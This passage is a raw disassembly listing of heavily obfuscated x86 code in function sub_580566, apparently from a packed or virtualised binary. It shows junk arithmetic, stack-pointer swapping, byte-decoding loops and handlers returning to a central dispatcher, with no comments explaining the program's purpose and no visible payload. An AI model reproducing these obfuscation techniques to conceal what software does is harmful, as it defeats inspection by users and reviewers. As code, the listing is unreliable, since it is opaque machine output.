[esp+2+var_4+2] pop esp push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+0] pop esp add esp, 4 push 49D2h mov [esp+0], edx jmp loc_58DBB3 ; --------------------------------------------------------------------------- loc_58E1D6: ; CODE XREF: sub_580566+B6D6j mov bh, 2 jmp loc_58C946 ; --------------------------------------------------------------------------- loc_58E1DD: ; DATA XREF: sub_580566+3D4Eo lodsb xor al, bl push cx sub esp, 4 mov [esp-2Ah+arg_20+2], edx jmp loc_587B6B ; --------------------------------------------------------------------------- loc_58E1ED: ; CODE XREF: sub_580566+B470j inc ecx push ebx jmp loc_585655 ; --------------------------------------------------------------------------- loc_58E1F4: ; CODE XREF: sub_580566+5BF1j mov edx, 4 sub ecx, 55E95B95h add ecx, edx push esi mov esi, 55E95B95h add ecx, esi pop esi jmp loc_586A3F ; --------------------------------------------------------------------------- loc_58E20F: ; CODE XREF: sub_580566+404Dj xchg edx, [esp+0] mov esp, [esp+0] jmp loc_58CE10 ; --------------------------------------------------------------------------- loc_58E21A: ; CODE XREF: sub_580566+55B4j mov ecx, 60A5B4Ch push 0FCAh mov [esp+0], ecx xchg ecx, [esp+0] not ecx push ecx push dword ptr [esp+4] pop ecx pop [esp-22h+arg_1A] pop ecx jmp loc_58C584 ; --------------------------------------------------------------------------- loc_58E23B: ; CODE XREF: sub_580566+BA5Fj add edi, 3277C134h jmp loc_58B4A6 ; --------------------------------------------------------------------------- loc_58E246: ; CODE XREF: sub_580566+803Bj xchg ebx, esi not ebx xchg ebx, esi and esi, 1C29550Bh jmp loc_58AD98 ; --------------------------------------------------------------------------- loc_58E257: ; CODE XREF: sub_580566+760Bj mov dl, bh push [esp-22h+arg_1A] jmp loc_58BA61 ; --------------------------------------------------------------------------- loc_58E261: ; DATA XREF: sub_580566+3D46o push [esp-30h+arg_28] pop eax push 0AF9h mov [esp-2Ch+arg_24], ebx mov ebx, esp jmp loc_58B227 ; --------------------------------------------------------------------------- loc_58E274: ; CODE XREF: sub_580566+4A45j pop esp push ecx jmp loc_5884B3 ; --------------------------------------------------------------------------- loc_58E27B: ; CODE XREF: sub_580566+796Ej pop [esp+8+var_8] pop esp push 2DAAh mov [esp+4+var_4], edx jmp loc_58F03D ; --------------------------------------------------------------------------- loc_58E28C: ; CODE XREF: sub_580566+B6E2j xor [esp-24h+arg_1A+2], edx xor edx, [esp-24h+arg_1A+2] jmp loc_588912 ; --------------------------------------------------------------------------- loc_58E297: ; CODE XREF: sub_580566+F3FEj mov esi, 4 jmp loc_587E23 ; --------------------------------------------------------------------------- loc_58E2A1: ; DATA XREF: sub_580566+3E76o mov cx, word ptr [esp-30h+arg_28] push 4BE1h mov [esp-2Ch+arg_24], ebx push esp push [esp-28h+arg_20] jmp loc_58B2A3 ; --------------------------------------------------------------------------- loc_58E2B6: ; CODE XREF: sub_580566+C373j or ecx, 5AF814A1h jmp loc_58B89A ; --------------------------------------------------------------------------- loc_58E2C1: ; CODE XREF: sub_580566+FE41j xor ebp, [esp-0Ch+arg_8] jmp loc_584818 ; --------------------------------------------------------------------------- loc_58E2C9: ; CODE XREF: sub_580566+566Cj push 24F3h push esp pop [esp-1Ah+arg_12] jmp loc_589582 ; --------------------------------------------------------------------------- loc_58E2D7: ; CODE XREF: sub_580566+6575j mov esp, [esp-20h+arg_16+2] mov cx, word ptr [esp-20h+arg_16+2] push 5CBFh mov [esp-1Ch+arg_12+2], ebx push 755Eh jmp loc_585FED ; --------------------------------------------------------------------------- loc_58E2F0: ; CODE XREF: sub_580566+B2BEj mov esp, [esp-56h+arg_4E] jmp loc_58BD2E ; --------------------------------------------------------------------------- loc_58E2F8: ; CODE XREF: sub_580566+D34Fj add eax, ebp pop ebp mov ecx, eax pop eax jmp loc_58F271 ; --------------------------------------------------------------------------- loc_58E303: ; CODE XREF: sub_580566+E6CDj push [esp-28h+arg_24] mov ebx, [esp-24h+arg_1A+2] add esp, 4 pop [esp-28h+arg_20] pop esp mov ax, word ptr [esp-30h+arg_28] jmp loc_588173 ; --------------------------------------------------------------------------- loc_58E31A: ; CODE XREF: sub_580566+E0FBj mov ecx, [esp-30h+arg_28] add esp, 4 jmp loc_58DCA8 ; --------------------------------------------------------------------------- loc_58E325: ; CODE XREF: sub_580566+8F1Bj push small 1558h mov [esp+0], ax jmp loc_584473 ; --------------------------------------------------------------------------- loc_58E332: ; CODE XREF: sub_580566+6144j mov [esp+0], esi push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp+2+var_4+2] pop esp jmp loc_588E5B ; --------------------------------------------------------------------------- loc_58E34A: ; CODE XREF: sub_580566+ED5Ej push 1CEh jmp loc_589696 ; --------------------------------------------------------------------------- loc_58E354: ; CODE XREF: sub_580566+992Dj push esp mov edx, [esp-2Ch+arg_24] add esp, 4 push ecx sub esp, 4 mov [esp-28h+arg_20], esi push 4CB61BA3h jmp loc_58B542 ; --------------------------------------------------------------------------- loc_58E36F: ; CODE XREF: sub_580566+FF43j pop edi push esi mov esi, 2 add edx, esi pop esi xchg edx, [esp-28h+arg_20] mov esp, [esp-28h+arg_20] push 6452h mov [esp-24h+arg_1A+2], ebx push 0 push [esp-20h+arg_16+2] pop ebx jmp loc_58E114 ; --------------------------------------------------------------------------- loc_58E395: ; CODE XREF: sub_580566+7F8Bj mov ebp, ecx mov ecx, [esp-20h+arg_16+2] add esp, 4 mov dword ptr [edi+20h], 6D4746D6h jmp loc_58C20D ; --------------------------------------------------------------------------- loc_58E3A9: ; CODE XREF: sub_580566+DBDCj push 51D2057h pop eax shl eax, 4 jmp loc_5848E9 ; --------------------------------------------------------------------------- loc_58E3B7: ; CODE XREF: sub_580566+7F7Ej add ecx, 4 xchg ecx, [esp+0] pop esp or edx, eax shl edx, 1 jmp loc_58E8D4 ; --------------------------------------------------------------------------- loc_58E3CA: ; CODE XREF: sub_580566+77E8j sub [esp-14h+arg_E+2], 48C12319h mov ecx, [esp-14h+arg_A+2] jmp loc_58C497 ; --------------------------------------------------------------------------- loc_58E3DA: ; CODE XREF: sub_580566+42B5j mov cx, word ptr [esp-2Eh+arg_24+2] push edx push esp pop edx add edx, 4 push 10F0h jmp loc_5895AF ; --------------------------------------------------------------------------- loc_58E3F1: ; CODE XREF: sub_580566+F652j pop ebp mov eax, [ebx] pop ebx push ebp mov ebp, 76DC7A91h sub ebp, 0FFFFFFFFh push ebx mov ebx, 79C86A1Ah xor ebx, 289F697Bh shr ebx, 1 xor ebx, 61D1785Ch xor ebx, 7C349C3Ah add ebp, 6844171Fh sub ebp, ebx sub ebp, 6844171Fh pop ebx sub ebp, 49D9114Bh shr ebp, 1 jmp loc_586F3F ; --------------------------------------------------------------------------- loc_58E437: ; DATA XREF: sub_580566+3E2Eo lodsd jmp loc_58AB71 ; --------------------------------------------------------------------------- loc_58E43D: ; CODE XREF: sub_580566+9C58j sub edx, esi add edx, 626C253Eh push [esp-0Eh+arg_8+2] pop esi add esp, 4 xchg edx, [esp-12h+arg_A] mov esp, [esp-12h+arg_A] mov word ptr [esp-12h+arg_A], ax jmp loc_584473 ; --------------------------------------------------------------------------- loc_58E45B: ; CODE XREF: sub_580566+8B46j pop edx jmp loc_586D5E ; --------------------------------------------------------------------------- loc_58E461: ; CODE XREF: sub_580566+8AC3j pop ecx dec esi add esi, 0F0570DB8h add ebx, esi pop esi sub esp, 4 mov [esp+0], edx push esp jmp loc_58A3CC ; --------------------------------------------------------------------------- loc_58E478: ; CODE XREF: sub_580566+AF30j mov ebx, ebp pop ebp mov eax, ebx pop ebx jmp loc_585327 ; --------------------------------------------------------------------------- loc_58E483: ; CODE XREF: sub_580566+A2C2j mov ch, 0 jmp loc_58758F ; --------------------------------------------------------------------------- loc_58E48A: ; CODE XREF: sub_580566+E2F2j add esp, 4 sub edx, 4 xchg edx, [esp-28h+arg_20] mov esp, [esp-28h+arg_20] mov [esp-28h+arg_20], eax jmp loc_584473 ; --------------------------------------------------------------------------- loc_58E4A1: ; CODE XREF: sub_580566+A8F5j sub ecx, 1DE6579Eh pop ebx sub [edi+24h], ecx jmp loc_58780F ; --------------------------------------------------------------------------- loc_58E4B0: ; DATA XREF: sub_580566+3DE2o xchg dx, word ptr [esp-30h+arg_28] jmp loc_58F30A ; --------------------------------------------------------------------------- loc_58E4B9: ; DATA XREF: sub_580566+3E2Ao lodsd push ebx mov ebx, 745C4A35h sub eax, ebx pop ebx jmp loc_584742 ; --------------------------------------------------------------------------- loc_58E4C8: ; CODE XREF: sub_580566+AB5Cj push eax mov ah, 0A3h or bl, ah pop eax jmp loc_5878EC ; --------------------------------------------------------------------------- loc_58E4D3: ; CODE XREF: sub_580566+63BCj pop ebp push ecx push edi mov edi, 0AAB3602h jmp loc_58708E ; --------------------------------------------------------------------------- loc_58E4E0: ; CODE XREF: sub_580566+FE5Aj mov esp, [esp+10h+var_10] jmp loc_584473 ; --------------------------------------------------------------------------- loc_58E4E8: ; CODE XREF: sub_580566+5BE5j sub al, bh mov bx, word ptr [esp-24h+arg_1A+2] add esp, 2 add al, 71h sub al, bl push ebx mov bl, 71h sub al, bl jmp loc_58A814 ; --------------------------------------------------------------------------- loc_58E502: ; CODE XREF: sub_580566+72ADj push 14C6h mov [esp+4+var_4], esp add [esp+4+var_4], 4 mov ebp, [esp+4+var_4] add esp, 4 jmp loc_58D5CA ; --------------------------------------------------------------------------- loc_58E51F: ; CODE XREF: sub_580566+4B2Ej mov eax, 30h sub eax, 763D6AEEh jmp loc_58E570 ; --------------------------------------------------------------------------- loc_58E52E: ; CODE XREF: sub_580566+4323j pop [esp-22h+arg_1A] add dword ptr [esp+0], 4 mov edi, [esp+0] push ecx jmp loc_58B15F ; --------------------------------------------------------------------------- loc_58E53E: ; CODE XREF: sub_580566+C3E4j mov al, 4Fh sub bh, al pop eax sub al, bh pop ebx add al, bl push ecx push eax mov ah, 19h mov cl, ah pop eax sub al, 0B9h sub al, 0C4h add al, cl push dx mov dh, 0C4h add al, dh jmp loc_58E695 ; --------------------------------------------------------------------------- loc_58E560: ; CODE XREF: sub_580566+C6B5j mov ebx, 453109D1h sub ebx, 62EE184Fh jmp loc_58BE07 ; --------------------------------------------------------------------------- loc_58E570: ; CODE XREF: sub_580566+DFC3j add eax, edx push 501h mov [esp-18h+arg_E+2], ebp mov ebp, 52AD71FCh xor ebp, 24901B12h add eax, ebp push [esp-18h+arg_E+2] pop ebp add esp, 4 push ebx push 1A221792h pop ebx xor ebx, 6C8725DDh xor ebx, 76A5324Fh push ecx mov ecx, 0 add ecx, eax push eax mov eax, 0 sub eax, 455F2E8Ah add eax, ecx jmp loc_588467 ; --------------------------------------------------------------------------- loc_58E5BE: ; CODE XREF: sub_580566+B041j jmp loc_584473 ; --------------------------------------------------------------------------- loc_58E5C3: ; CODE XREF: sub_580566+82D6j xor edx, [esp+0Ch+var_C] xor [esp+0Ch+var_C], edx xor edx, [esp+0Ch+var_C] pop esp push edi jmp loc_58C7C9 ; --------------------------------------------------------------------------- loc_58E5D3: ; CODE XREF: sub_580566+6FC1j add esp, 4 rep movsd jmp loc_58A753 ; --------------------------------------------------------------------------- loc_58E5DD: ; CODE XREF: sub_580566+4F5Cj pop esp jmp loc_58F8A0 ; --------------------------------------------------------------------------- loc_58E5E3: ; CODE XREF: sub_580566+575Aj push ebx push esp pop ebx add ebx, 4 add ebx, 4 xor ebx, [esp-1Ch+arg_12+2] xor [esp-1Ch+arg_12+2], ebx xor ebx, [esp-1Ch+arg_12+2] pop esp sub esp, 4 mov [esp-1Ch+arg_12+2], ebx mov ebx, 2 add edx, ebx pop ebx xor edx, [esp-20h+arg_16+2] xor [esp-20h+arg_16+2], edx xor edx, [esp-20h+arg_16+2] pop esp dec word ptr [esp-24h+arg_1A+2] pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_58E621: ; CODE XREF: sub_580566+F5E3j add esi, 8F1DA7A2h mov eax, esi mov esi, [esp-20h+arg_16+2] add esp, 4 jmp loc_58E012 ; --------------------------------------------------------------------------- loc_58E634: ; CODE XREF: sub_580566+3F1Fj add ebp, ebx push eax mov eax, 50E57CC4h jmp loc_590476 ; --------------------------------------------------------------------------- loc_58E641: ; CODE XREF: sub_580566+E9CDj mov edi, [esp-8+arg_4] add esp, 4 pop edx and edi, 17D31DE2h jmp loc_58ED7D ; --------------------------------------------------------------------------- loc_58E656: ; CODE XREF: sub_580566+D73Dj pop esp mov [esp-3Eh+arg_34+2], esp add [esp-3Eh+arg_34+2], 4 jmp loc_58E31A ; --------------------------------------------------------------------------- loc_58E666: ; CODE XREF: sub_580566+7B54j xor ebx, 667699A7h jmp loc_58C38A ; --------------------------------------------------------------------------- loc_58E671: ; CODE XREF: sub_580566+9BDCj pop esp push ecx push ebx mov bh, 9Eh jmp loc_58F06E ; --------------------------------------------------------------------------- loc_58E67B: ; DATA XREF: sub_580566+3C5Ao push dword ptr [edi+1Ch] popf pop cx rcr word ptr [esp+0], cl pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_58E68B: ; CODE XREF: sub_580566+CD13j mov ebx, 424640DBh jmp loc_589D19 ; --------------------------------------------------------------------------- loc_58E695: ; CODE XREF: sub_580566+DFF5j pop dx push ecx mov cl, 0B9h add al, cl jmp loc_588A3A ; --------------------------------------------------------------------------- loc_58E6A1: ; CODE XREF: sub_580566+EDE3j mov edx, 10h and ebx, edx push [esp+8+var_8] jmp loc_587BE7 ; --------------------------------------------------------------------------- loc_58E6B0: ; CODE XREF: sub_580566+680Ej mov [esp-16h+arg_E], ebx mov ebx, 0A15CE5h jmp loc_58AE7C ; --------------------------------------------------------------------------- loc_58E6BD: ; DATA XREF: sub_580566+3DF6o lodsb xor al, bl push edx push ebx push ecx mov cl, 0F7h jmp loc_58834D ; --------------------------------------------------------------------------- loc_58E6CA: ; CODE XREF: sub_580566+7321j pop esp or ebp, 29B0F70h jmp loc_589BAD ; --------------------------------------------------------------------------- loc_58E6D6: ; CODE XREF: sub_580566+6234j mov dh, 0AEh sub cl, dh pop dx jmp loc_5881C9 ; --------------------------------------------------------------------------- loc_58E6E1: ; CODE XREF: sub_580566+F743j add bl, dl pop edx dec bl and bl, 0ADh xor bl, 1Ah add al, 0 jmp loc_58D76A ; --------------------------------------------------------------------------- loc_58E6F3: ; CODE XREF: sub_580566+B245j push esp mov edi, [esp-8+arg_4] jmp loc_58569F ; --------------------------------------------------------------------------- loc_58E6FC: ; CODE XREF: sub_580566+6C15j add edx, 4 push esi mov esi, 4 jmp loc_58FB23 ; --------------------------------------------------------------------------- loc_58E70D: ; CODE XREF: sub_580566+9F1Ej mov esi, esp add esi, 4 sub esi, 4 xor esi, [esp-2Ah+arg_20+2] xor [esp-2Ah+arg_20+2], esi xor esi, [esp-2Ah+arg_20+2] jmp loc_58DD90 ; --------------------------------------------------------------------------- loc_58E726: ; CODE XREF: sub_580566+8DFCj mov edi, [esp+0Ch+var_C] add esp, 4 add esp, 4 push eax mov eax, esp add eax, 4 jmp loc_58CCFF ; --------------------------------------------------------------------------- loc_58E73F: ; CODE XREF: sub_580566+CE97j pop edx or eax, eax jz loc_5882C2 push dword ptr [edi+1Ch] sub esp, 4 mov [esp-2Eh+arg_24+2], esi mov esi, 538B706Bh xor [esp-2Eh+arg_28+2], esi pop esi pop ecx jmp loc_58F6DA ; --------------------------------------------------------------------------- loc_58E761: ; CODE XREF: sub_580566+A964j push ebx mov ebx, 25FE00D1h and ecx, ebx pop ebx sub ecx, 8DF8B1CCh add eax, ecx pop ecx pop ebp xor ebx, eax movzx ax, byte ptr [eax] push 2B09h jmp loc_58FCDF ; --------------------------------------------------------------------------- loc_58E784: ; CODE XREF: sub_580566+F968j add edi, ecx mov ecx, [esp-28h+arg_20] add esp, 4 push esi push edx mov edx, 5EC62261h jmp loc_58B04A ; --------------------------------------------------------------------------- loc_58E798: ; CODE XREF: sub_580566+A92Ej mov [esp-1Ch+arg_12+2], ebx push 6869h jmp loc_58E99D ; --------------------------------------------------------------------------- loc_58E7A5: ; DATA XREF: sub_580566+3D5Ao mov ax, word ptr [esp-30h+arg_28] jmp loc_5863DD ; --------------------------------------------------------------------------- loc_58E7AE: ; CODE XREF: sub_580566+FB47j jmp loc_584473 ; --------------------------------------------------------------------------- loc_58E7B3: ; DATA XREF: sub_580566+3D0Eo sub esp, 4 push esp jmp loc_5902CB ; --------------------------------------------------------------------------- loc_58E7BF: ; CODE XREF: sub_580566+B3ACj push 2662h mov [esp-42h+arg_38+2], ecx jmp loc_587D25 ; --------------------------------------------------------------------------- loc_58E7CC: ; CODE XREF: sub_580566+92C4j sub esi, 6BCFF26Ch sub ebx, esi pop esi jmp loc_58CA56 ; --------------------------------------------------------------------------- loc_58E7DA: ; CODE XREF: sub_580566+8238j jmp loc_584473 ; --------------------------------------------------------------------------- loc_58E7DF: ; CODE XREF: sub_580566+BF7Cj add esi, 124242D6h sub esi, edi push ebp mov ebp, 1C6069C3h sub ebp, 6DAA2AE9h shl ebp, 5 and ebp, 20746534h xor ebp, 120603D6h sub esi, ebp jmp loc_58CB8F ; --------------------------------------------------------------------------- loc_58E809: ; CODE XREF: sub_580566+64DAj xor ecx, [esp-28h+arg_20] xor [esp-28h+arg_20], ecx xor ecx, [esp-28h+arg_20] jmp loc_58AD0B ; --------------------------------------------------------------------------- loc_58E817: ; CODE XREF: sub_580566+B796j push edx jmp loc_585CFE ; --------------------------------------------------------------------------- loc_58E81D: ; CODE XREF: sub_580566+8513j push [esp-30h+arg_28] jmp loc_584BD4 ; --------------------------------------------------------------------------- loc_58E825: ; CODE XREF: sub_580566+A03Cj not edi neg edi sub edi, 99AB0BEDh sub ecx, 507708DAh add ecx, edi add ecx, 507708DAh jmp loc_589BC3 ; --------------------------------------------------------------------------- loc_58E842: ; CODE XREF: sub_580566+4D7Dj push ax mov ax, 2A49h jmp loc_58F551 ; --------------------------------------------------------------------------- loc_58E84D: ; CODE XREF: sub_580566+ECEEj mov ah, ch mov dl, ah pop eax jmp loc_584A45 ; --------------------------------------------------------------------------- loc_58E857: ; CODE XREF: sub_580566+8C3Ej pop eax jmp loc_58E48A ; --------------------------------------------------------------------------- loc_58E85D: ; CODE XREF: sub_580566+923Ej dec bh or bh, 0D3h add bh, 3Eh add bh, 87h xor al, bh pop ebx jmp loc_58C02A ; --------------------------------------------------------------------------- loc_58E870: ; CODE XREF: sub_580566+B0A5j pop esp mov [esp-30h+arg_28], edx mov edx, esp jmp loc_58EA95 ; --------------------------------------------------------------------------- loc_58E87B: ; CODE XREF: sub_580566+FE72j add eax, 4 add eax, 4 xchg eax, [esp-30h+arg_28] pop esp xor ecx, [esp-34h+arg_2C] xor [esp-34h+arg_2C], ecx xor ecx, [esp-34h+arg_2C] mov esp, [esp-34h+arg_2C] mov ax, word ptr [esp-34h+arg_2C] jmp loc_5884F6 ; --------------------------------------------------------------------------- loc_58E89E: ; CODE XREF: sub_580566+A0A1j add ebx, 10012FBEh sub ebx, 20B82844h pop eax xor ecx, ebx pop ebx shr ecx, 6 shl ecx, 7 xor ecx, 59B27684h mov edi, ecx pop ecx and ecx, edi push [esp-38h+arg_30] pop edi jmp loc_58D082 ; --------------------------------------------------------------------------- loc_58E8C8: ; CODE XREF: sub_580566+B708j mov esp, [esp+22h+var_24+2] shl [esp+22h+var_24+2], cl pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_58E8D4: ; CODE XREF: sub_580566+DE5Fj push dword ptr [edi+24h] push ebx mov ebx, esp jmp loc_58BFF7 ; --------------------------------------------------------------------------- loc_58E8DF: ; CODE XREF: sub_580566+D68Bj add ebx, edx push edx mov edx, 6DD47457h sub ebx, 3E667197h sub ebx, edx add ebx, 3E667197h jmp loc_58FE7F ; --------------------------------------------------------------------------- loc_58E8FA: ; CODE XREF: sub_580566+CFD4j and dl, al pop eax dec dl sub dl, 0E8h xor al, dl mov edx, [esp-2Ch+arg_24] push edi mov edi, esp jmp loc_5866C7 ; --------------------------------------------------------------------------- loc_58E90F: ; CODE XREF: sub_580566+9F87j and al, 0CAh xor al, 0 mov dh, al push [esp-22h+arg_1A] pop eax jmp loc_585BD1 ; --------------------------------------------------------------------------- loc_58E91E: ; CODE XREF: sub_580566+A784j mov eax, [esp-2Ch+arg_24] sub esp, 4 mov [esp-28h+arg_20], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp-28h+arg_20] pop esp jmp loc_58F98E ; --------------------------------------------------------------------------- loc_58E93D: ; DATA XREF: sub_580566+3E92o mov ax, word ptr [esp-30h+arg_28] push 45Fh jmp loc_58682B ; --------------------------------------------------------------------------- loc_58E94B: ; CODE XREF: sub_580566+5445j push dword ptr [esp+0] mov ecx, [esp-0Ch+arg_8] add esp, 4 jmp loc_58F284 ; --------------------------------------------------------------------------- loc_58E95C: ; CODE XREF: sub_580566+C9F5j push ecx mov ecx, 4 jmp loc_584655 ; --------------------------------------------------------------------------- loc_58E967: ; CODE XREF: sub_580566+9E82j sub esi, 0D030EF9h dec esi add esi, 0FD9A112Dh mov ecx, esi mov esi, [esp-36h+arg_2C+2] jmp loc_58FA2C ; --------------------------------------------------------------------------- loc_58E97E: ; CODE XREF: sub_580566+BF72j push esi jmp loc_588BD5 ; --------------------------------------------------------------------------- loc_58E984: ; CODE XREF: sub_580566+72BDj push ecx pop esi jmp loc_58AB24 ; --------------------------------------------------------------------------- loc_58E98B: ; CODE XREF: sub_580566+CB32j add esp, 4 push ebx mov ebx, 7CD75390h dec ebx jmp loc_585624 ; --------------------------------------------------------------------------- loc_58E99D: ; CODE XREF: sub_580566+E23Aj mov [esp-18h+arg_E+2], ebx mov ebx, 39E93A00h sub [esp-18h+arg_12+2], 63E86009h add [esp-18h+arg_12+2], ebx add [esp-18h+arg_12+2], 63E86009h pop ebx pop edi push ecx jmp loc_588849 ; --------------------------------------------------------------------------- loc_58E9C1: ; CODE XREF: sub_580566+BB4Cj sub al, cl jmp loc_5906DD ; --------------------------------------------------------------------------- loc_58E9C8: ; DATA XREF: sub_580566+3E62o push dword ptr [edi+1Ch] popf pop cx rcr byte ptr [esp-32h+arg_28+2], cl pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_58E9D7: ; CODE XREF: sub_580566+AF23j pop ecx pop eax jmp loc_58D248 ; --------------------------------------------------------------------------- loc_58E9DE: ; CODE XREF: sub_580566+B9C6j sub ecx, edi pop edi xchg ecx, [esp-2Ch+arg_24] pop esp mov [esp-30h+arg_28], ecx push esp pop ecx jmp loc_58CB7D ; --------------------------------------------------------------------------- loc_58E9EF: ; CODE XREF: sub_580566+D770j mov ebx, [esp-22h+arg_1A] push ebp mov ebp, esp add ebp, 4 jmp loc_58FC10 ; --------------------------------------------------------------------------- loc_58EA00: ; CODE XREF: sub_580566+D11Bj push 1316h mov [esp-18h+arg_E+2], ebp push 420790Eh pop ebp jmp loc_586198 ; --------------------------------------------------------------------------- loc_58EA13: ; CODE XREF: sub_580566+D2C1j add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_587A3E ; --------------------------------------------------------------------------- loc_58EA24: ; CODE XREF: sub_580566+8116j add esp, 4 jmp loc_588528 ; --------------------------------------------------------------------------- loc_58EA2F: ; CODE XREF: sub_580566+A1E8j push edx mov dh, al mov cl, dh pop edx pop eax sub bl, cl mov ecx, [esp+0] add esp, 4 add bl, al add bl, 0FEh push edx mov dl, 1Ch shr dl, 5 sub dl, 6Eh or dl, 55h xor dl, 33h xor dl, 0EDh jmp loc_588841 ; --------------------------------------------------------------------------- loc_58EA5A: ; CODE XREF: sub_580566+7F09j pop ecx pop ebx mov eax, [esp-0Ch+arg_8] add esp, 4 jmp loc_589533 ; --------------------------------------------------------------------------- loc_58EA67: ; CODE XREF: sub_580566+4EADj mov ecx, [esp-8+arg_4] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+0] jmp loc_58D8C5 ; --------------------------------------------------------------------------- loc_58EA7E: ; CODE XREF: sub_580566+534Bj or ecx, 79505E5Bh xor ecx, 3538154Ah jmp loc_58A4CD ; --------------------------------------------------------------------------- loc_58EA8F: ; CODE XREF: sub_580566+BED6j push ebp jmp loc_5862F1 ; --------------------------------------------------------------------------- loc_58EA95: ; CODE XREF: sub_580566+E310j push eax mov eax, 12E67BF4h shr eax, 5 shr eax, 7 jmp loc_58B8EE ; --------------------------------------------------------------------------- loc_58EAA6: ; CODE XREF: sub_580566+EB1Dj push eax mov eax, 67D439EBh neg eax and eax, 2136262Eh xor eax, 0B8B3FD03h xor ebx, eax pop eax jmp loc_588C5B ; --------------------------------------------------------------------------- loc_58EAC0: ; CODE XREF: sub_580566+C62Bj add ecx, esi push [esp+24h+var_24] mov esi, [esp+28h+var_28] add esp, 4 push eax jmp loc_5903D6 ; --------------------------------------------------------------------------- loc_58EAD4: ; CODE XREF: sub_580566+8A34j shr edx, 5 add edx, 4F52C4BBh sub eax, edx mov edx, [esp+0Ah+var_C+2] jmp loc_58ABEC ; --------------------------------------------------------------------------- loc_58EAE7: ; CODE XREF: sub_580566+5004j dec ebx neg ebx neg ebx add ebx, 3B86D713h add edi, ebx pop ebx add edi, eax push ecx mov ecx, 46735C52h jmp loc_58F3AA ; --------------------------------------------------------------------------- loc_58EB02: ; CODE XREF: sub_580566+A2D6j xchg ebp, [esp-20h+arg_16+2] pop esp and [edi+1Ch], eax mov eax, [esp-24h+arg_1A+2] jmp loc_589897 ; --------------------------------------------------------------------------- loc_58EB11: ; CODE XREF: sub_580566+8EE0j ; sub_580566+FB82j push 1B14h jmp loc_5886A0 ; --------------------------------------------------------------------------- loc_58EB1B: ; CODE XREF: sub_580566+C603j mov edi, esi pop esi add ebx, edi jmp loc_58A5D1 ; --------------------------------------------------------------------------- loc_58EB25: ; CODE XREF: sub_580566+8210j add ecx, 10A7F746h xor ecx, ebx jmp loc_587054 ; --------------------------------------------------------------------------- loc_58EB32: ; CODE XREF: sub_580566+BC2Fj push esp mov edi, [esp-30h+arg_28] add esp, 4 jmp loc_58F0AC ; --------------------------------------------------------------------------- loc_58EB41: ; CODE XREF: sub_580566+AB1Aj mov esp, [esp-46h+arg_3C+2] jmp loc_584473 ; --------------------------------------------------------------------------- loc_58EB49: ; CODE XREF: sub_580566+CAC2j neg ecx jmp loc_58C9B2 ; --------------------------------------------------------------------------- loc_58EB50: ; CODE XREF: sub_580566+AF12j pop esp mov [esp-2Ch+arg_24], edi mov edi, 5D35543Bh sub edi, 0F72097BBh add eax, edi mov edi, [esp-2Ch+arg_24] add esp, 4 sub esp, 4 mov [esp-2Ch+arg_24], ebx push edi jmp loc_588185 ; --------------------------------------------------------------------------- loc_58EB73: ; CODE XREF: sub_580566+A470j mov [esp-8+arg_4], esp add [esp-8+arg_4], 4 pop ecx push ebx mov ebx, 30F64AEDh add ebx, 17F82F44h push ebx jmp loc_58FB3E ; --------------------------------------------------------------------------- loc_58EB90: ; CODE XREF: sub_580566+5666j xor edx, 0B0D2DDE0h sub eax, edx pop edx mov ebp, [esp-2Ah+arg_20+2] add esp, 4 sub eax, 3B8D0822h sub eax, ebx add eax, 3B8D0822h add eax, 33E36CC7h mov ebx, [esp-2Eh+arg_24+2] add esp, 4 push ebp mov ebp, 522849A7h add ebp, 0F2102EF3h sub ebx, ebp pop ebp sub ebx, eax push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp-2Eh+arg_24+2] mov esp, [esp-2Eh+arg_24+2] jmp loc_5850AB ; --------------------------------------------------------------------------- loc_58EBE2: ; CODE XREF: sub_580566+6490j add esp, 4 jmp loc_58F8E5 ; --------------------------------------------------------------------------- loc_58EBED: ; CODE XREF: sub_580566+CC1Fj add esp, 4 push edi mov edi, esp add edi, 4 push eax mov eax, 4 add edi, eax pop eax jmp loc_584F11 ; --------------------------------------------------------------------------- word_58EC0A dw 8B66h ; DATA XREF: sub_580566+3DFAo dd 8953240Ch, 0B47BE9E3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_58EC16: ; CODE XREF: sub_580566+4112j push 24BCh mov [esp-0Ch+arg_8], ebp push 67D9h push esp pop dword ptr [esp+0] jmp loc_586EE6 ; --------------------------------------------------------------------------- loc_58EC2C: ; CODE XREF: sub_580566+F37Aj push ecx jmp loc_58BC4D ; --------------------------------------------------------------------------- loc_58EC32: ; CODE XREF: sub_580566+C060j push ebx jmp loc_58E303 ; --------------------------------------------------------------------------- loc_58EC38: ; CODE XREF: sub_580566+AB44j pop esi add ebx, ebp push esi mov esi, 10C115Bh and esi, 54D77454h xor esi, 5CE827BBh or esi, 75087C10h sub esi, 16910397h jmp loc_58ED02 ; --------------------------------------------------------------------------- loc_58EC5E: ; CODE XREF: sub_580566+FCD6j mov edi, 627E519Bh mov esi, edi pop edi inc esi jmp loc_58DC71 ; --------------------------------------------------------------------------- loc_58EC6C: ; CODE XREF: sub_580566+7B5Cj dec ebp sub ebp, 0AC97223Bh jmp loc_58ECB2 ; --------------------------------------------------------------------------- loc_58EC78: ; CODE XREF: sub_580566+ECE5j add edi, 5887317Ah push esi mov esi, 40FB50E1h push ebx jmp loc_58DE62 ; --------------------------------------------------------------------------- loc_58EC8A: ; CODE XREF: sub_580566+BE0Fj dec esi or esi, 189904CFh dec esi and esi, 3A4F6005h sub esi, 3A4D6000h mov ebp, esi jmp loc_586C33 ; --------------------------------------------------------------------------- loc_58ECA5: ; CODE XREF: sub_580566+5F1Bj add [esp-8+arg_8], 3CEB3783h jmp loc_588DEF ; --------------------------------------------------------------------------- loc_58ECB2: ; CODE XREF: sub_580566+E70Dj add edi, ebp pop ebp add edi, 4 xor edi, [esp-14h+arg_A+2] xor [esp-14h+arg_A+2], edi xor edi, [esp-14h+arg_A+2] pop esp sub eax, 0B766D07h push ecx push edi jmp loc_58773C ; --------------------------------------------------------------------------- loc_58ECD1: ; CODE XREF: 